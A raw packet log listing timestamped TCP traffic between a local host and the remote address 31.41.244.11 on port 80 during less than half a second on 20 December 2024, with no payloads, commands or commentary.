Dec 20, 2024 13:12:22.309263945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.309307098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.309331894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.309370995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.310523987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.310570955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.310606956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.310651064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.311599970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.311645985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.311719894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.311764002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.312733889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.312851906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.312899113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.313873053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.313919067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.314019918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.314065933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.315028906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.315074921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.315141916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.315186977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.316131115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.319968939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.446661949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.446742058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.446921110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.447066069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.447122097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.447155952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.447197914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.447858095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.447918892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.447968960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.448824883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.448879957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.448919058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.448966026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.449934006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.449985981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.450009108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.450051069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.450956106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.451004028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.451072931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.451114893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.452106953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.452184916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.452239990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.453116894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.453167915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.453205109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.453249931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.454258919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.454277992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.454310894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.454334974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.455173016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.455307961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.455360889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.456216097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.456252098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.456259012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.456296921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.457247019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.457364082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.457410097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.458270073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.458313942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.458333969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.458375931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.459317923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.459361076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.459408998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.459482908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.460405111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.460467100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.460546017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.461400986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.461462021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.461504936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.461555004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.462450027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.462498903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.462605000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.462656975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.463505983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.463553905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.463620901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.463668108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.464633942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.464864016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.464881897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.464926004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.465837955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.465886116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.465914011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.465960979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.466866016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.466916084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.466916084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.466963053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.467724085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.467784882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.467792034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.467828989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.468756914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.468954086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.469005108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.469758987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.469805002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.469822884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.469868898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.470899105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.470944881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.470977068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.471024036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.471888065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.472042084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.472089052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.473066092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.473110914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.473180056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.473225117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.474026918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.474075079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.474111080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.474152088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.475013971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.475064993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.475136995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.475182056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.476135969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.476413965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.476458073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.477171898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.477220058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.477335930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.477384090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.478233099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.478296995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.478337049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.478384018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.479300976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.479347944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.479372978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.479418039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.480472088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.481487036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.481498957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.481542110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.481568098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.482619047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.482916117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.482968092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.483038902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.483087063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.483436108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.483481884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.483758926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.483805895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.484544992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.484843016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.484891891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.486562967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.486574888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.486617088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.486771107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.486815929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.486866951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.486913919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.489403009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.489450932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.489454031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.489464998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.489494085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.489500046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.489535093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.489959002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.490008116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.490067959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.490113974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.490884066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.490930080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.491059065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.491106033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.492033005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.492043972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.492083073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.493036032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.493084908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.493352890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.493401051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.493994951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.494043112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.494163990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.494210005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.494966984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.495013952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.495171070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.495217085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.496077061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.496248007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.496300936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.497127056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.497173071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.497287989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.497334957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.498249054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.498292923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.498295069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.498339891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.499217033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.499281883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.499433041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.499485970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.500391960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.500515938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.500566006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.501342058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.501389027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.638484001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.638533115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.638641119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.638688087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.638982058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.639029026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.639153004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.639193058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.640034914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.640083075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.640124083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.640178919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.641105890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.641160011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.641246080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.641289949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.642127037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.642193079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.642230988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.642277002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.643140078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.643188000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.643246889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.643290997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.644251108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.644298077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.644332886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.644378901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.645256996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.645299911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.645379066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.645421982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.646451950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.646506071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.646544933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.646589041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.647392035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.647439003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.647496939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.647542000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.648456097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.648503065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.648576975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.648622990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.649480104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.649522066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.649589062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.649631023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.650528908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.650571108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.650685072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.650728941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.651565075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.651611090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.651671886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.651715994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.652592897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.652708054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.652765989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.652811050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.653631926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.653678894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.653834105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.653878927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.654774904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.654829025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.654881954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.655193090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.656003952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.656048059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.656136990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.656183004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.658268929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.658303022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.658318043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.658344984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.658356905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.658370018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.658399105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.658412933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.658898115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.658946991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.659153938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.659202099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.659955978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.660001040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.660140038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.660187006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.660957098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.661003113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.661144018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.661189079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.662187099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.662233114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.662266016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.662312984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.663122892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.663187981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.663248062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.663292885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.664139986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.664190054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.664763927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.664810896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.665265083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.665312052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.666003942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.666050911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.666413069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.666459084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.666795969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.666841984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.667932987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.667978048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.668375015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.668418884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.668788910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.668801069 CET	80	49859	31.41.244.11	192.168.2.5
